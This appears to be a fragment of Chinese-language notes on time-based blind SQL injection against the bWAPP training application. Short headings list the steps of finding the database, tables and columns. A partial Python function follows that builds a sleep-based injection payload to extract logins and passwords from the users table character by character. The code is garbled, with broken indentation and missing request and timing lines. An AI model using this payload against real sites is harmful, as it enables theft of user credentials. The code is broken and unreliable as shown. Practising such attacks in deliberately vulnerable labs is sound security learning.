获取当前库名

获取全部表名

获取字段名

仅仅更改sql_str

获取用户信息

def get_users_passwd():
    cou = 1
    while (1):
        sql_str = f"1' or if(length((select group_concat(concat(login,'-',password)) from bWAPP.users))={cou},sleep(0.1),1) -- "

            print(cou)
            break
        cou+=1

    user_str = ['']*cou
    for x in range(1,cou,1):
        ACI = 48
        while (ACI < 128):
